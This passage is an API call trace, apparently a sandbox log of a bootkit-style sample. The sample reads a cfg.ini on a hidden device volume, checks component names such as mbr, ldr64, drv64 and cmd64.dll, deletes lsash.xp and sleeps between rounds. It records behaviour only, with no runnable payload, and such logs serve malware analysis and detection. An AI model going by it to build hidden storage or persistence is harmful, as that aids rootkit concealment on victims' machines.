Context=0x0) returned 0x0 [0126.444] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.444] KeLeaveCriticalRegion () [0126.444] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.444] KeEnterCriticalRegion () [0126.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.444] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.444] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.444] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.444] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.444] IdePortDispatch () returned 0x103 [0126.444] KeWaitForMutexObject () returned 0x0 [0126.444] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.444] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.444] KeLeaveCriticalRegion () [0126.444] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.444] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.444] KeEnterCriticalRegion () [0126.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.445] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800349b000 [0126.445] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.445] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.445] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.445] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.445] IdePortDispatch () returned 0x103 [0126.445] KeWaitForMutexObject () returned 0x0 [0126.445] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.445] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.445] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.445] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.445] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.445] IdePortDispatch () returned 0x103 [0126.445] KeWaitForMutexObject () returned 0x0 [0126.445] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.445] KeLeaveCriticalRegion () [0126.445] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.446] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.446] KeEnterCriticalRegion () [0126.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.446] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.446] KeLeaveCriticalRegion () [0126.446] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.446] KeEnterCriticalRegion () [0126.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.446] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.446] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.446] KeLeaveCriticalRegion () [0126.446] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.446] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.446] KeEnterCriticalRegion () [0126.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.446] ExFreePoolWithTag (P=0xfffffa80037eead0, Tag=0x0) [0126.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.446] KeLeaveCriticalRegion () [0126.446] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.446] ReleaseMutex (hMutex=0xf0) returned 1 [0126.446] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.446] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.446] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.446] KeEnterCriticalRegion () [0126.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.446] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.446] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.446] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.446] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.446] IdePortDispatch () returned 0x103 [0126.447] KeWaitForMutexObject () returned 0x0 [0126.447] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.447] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.447] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.447] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.447] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.447] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4bd0 [0126.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.447] KeLeaveCriticalRegion () [0126.447] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.447] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.447] KeEnterCriticalRegion () [0126.447] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.447] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.447] KeLeaveCriticalRegion () [0126.447] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.447] KeEnterCriticalRegion () [0126.447] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.447] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.447] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.447] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.447] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.447] IdePortDispatch () returned 0x103 [0126.448] KeWaitForMutexObject () returned 0x0 [0126.448] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.448] KeLeaveCriticalRegion () [0126.448] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.448] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.448] KeEnterCriticalRegion () [0126.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.448] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800349c000 [0126.448] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.448] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.448] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.448] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.448] IdePortDispatch () returned 0x103 [0126.448] KeWaitForMutexObject () returned 0x0 [0126.448] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.448] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.448] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.448] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.448] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.448] IdePortDispatch () returned 0x103 [0126.448] KeWaitForMutexObject () returned 0x0 [0126.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.449] KeLeaveCriticalRegion () [0126.449] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.449] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.449] KeEnterCriticalRegion () [0126.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.449] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.449] KeLeaveCriticalRegion () [0126.449] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.449] KeEnterCriticalRegion () [0126.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.449] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.449] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.449] KeLeaveCriticalRegion () [0126.449] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.449] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.449] KeEnterCriticalRegion () [0126.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.449] ExFreePoolWithTag (P=0xfffffa8003bf4bd0, Tag=0x0) [0126.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.449] KeLeaveCriticalRegion () [0126.449] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.449] ReleaseMutex (hMutex=0xf0) returned 1 [0126.449] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.449] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.449] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.450] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.450] KeEnterCriticalRegion () [0126.450] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.450] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.450] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.450] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.450] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.450] IdePortDispatch () returned 0x103 [0126.450] KeWaitForMutexObject () returned 0x0 [0126.450] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.450] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.450] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.450] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.450] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.450] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.450] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.450] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.450] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.450] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.450] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.450] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.450] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.450] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.450] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.450] KeLeaveCriticalRegion () [0126.450] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.450] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.450] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.450] KeEnterCriticalRegion () [0126.450] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.450] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.450] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.450] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.450] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.450] IdePortDispatch () returned 0x103 [0126.450] KeWaitForMutexObject () returned 0x0 [0126.451] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.451] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.451] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.451] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.451] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.451] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.451] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.451] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.451] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.451] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.451] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.451] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.451] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.451] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.451] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.451] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.451] KeLeaveCriticalRegion () [0126.451] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.451] ReleaseMutex (hMutex=0x100) returned 1 [0126.451] Sleep (dwMilliseconds=0x2bf20) [0126.457] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e916190, dwHighDateTime=0x1d24fa4)) [0126.457] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.457] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.457] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.457] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.457] KeEnterCriticalRegion () [0126.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.457] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.457] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.457] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.457] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.457] IdePortDispatch () returned 0x103 [0126.457] KeWaitForMutexObject () returned 0x0 [0126.458] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.458] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.458] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.458] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.458] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.458] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8007081bc0 [0126.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.458] KeLeaveCriticalRegion () [0126.458] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.458] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.458] KeEnterCriticalRegion () [0126.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.458] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.458] KeLeaveCriticalRegion () [0126.458] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.458] KeEnterCriticalRegion () [0126.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.458] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.458] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.458] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.458] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.458] IdePortDispatch () returned 0x103 [0126.458] KeWaitForMutexObject () returned 0x0 [0126.458] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.458] KeLeaveCriticalRegion () [0126.458] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.458] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.459] KeEnterCriticalRegion () [0126.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.459] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800349f000 [0126.459] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.459] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.459] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.459] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.459] IdePortDispatch () returned 0x103 [0126.459] KeWaitForMutexObject () returned 0x0 [0126.459] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.459] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.459] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.459] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.459] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.459] IdePortDispatch () returned 0x103 [0126.459] KeWaitForMutexObject () returned 0x0 [0126.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.459] KeLeaveCriticalRegion () [0126.459] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.460] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.460] KeEnterCriticalRegion () [0126.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.460] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.460] KeLeaveCriticalRegion () [0126.460] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.460] KeEnterCriticalRegion () [0126.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.460] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.460] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.460] KeLeaveCriticalRegion () [0126.460] IofCompleteRequest (Irp=0xfffffa8007ffba30, 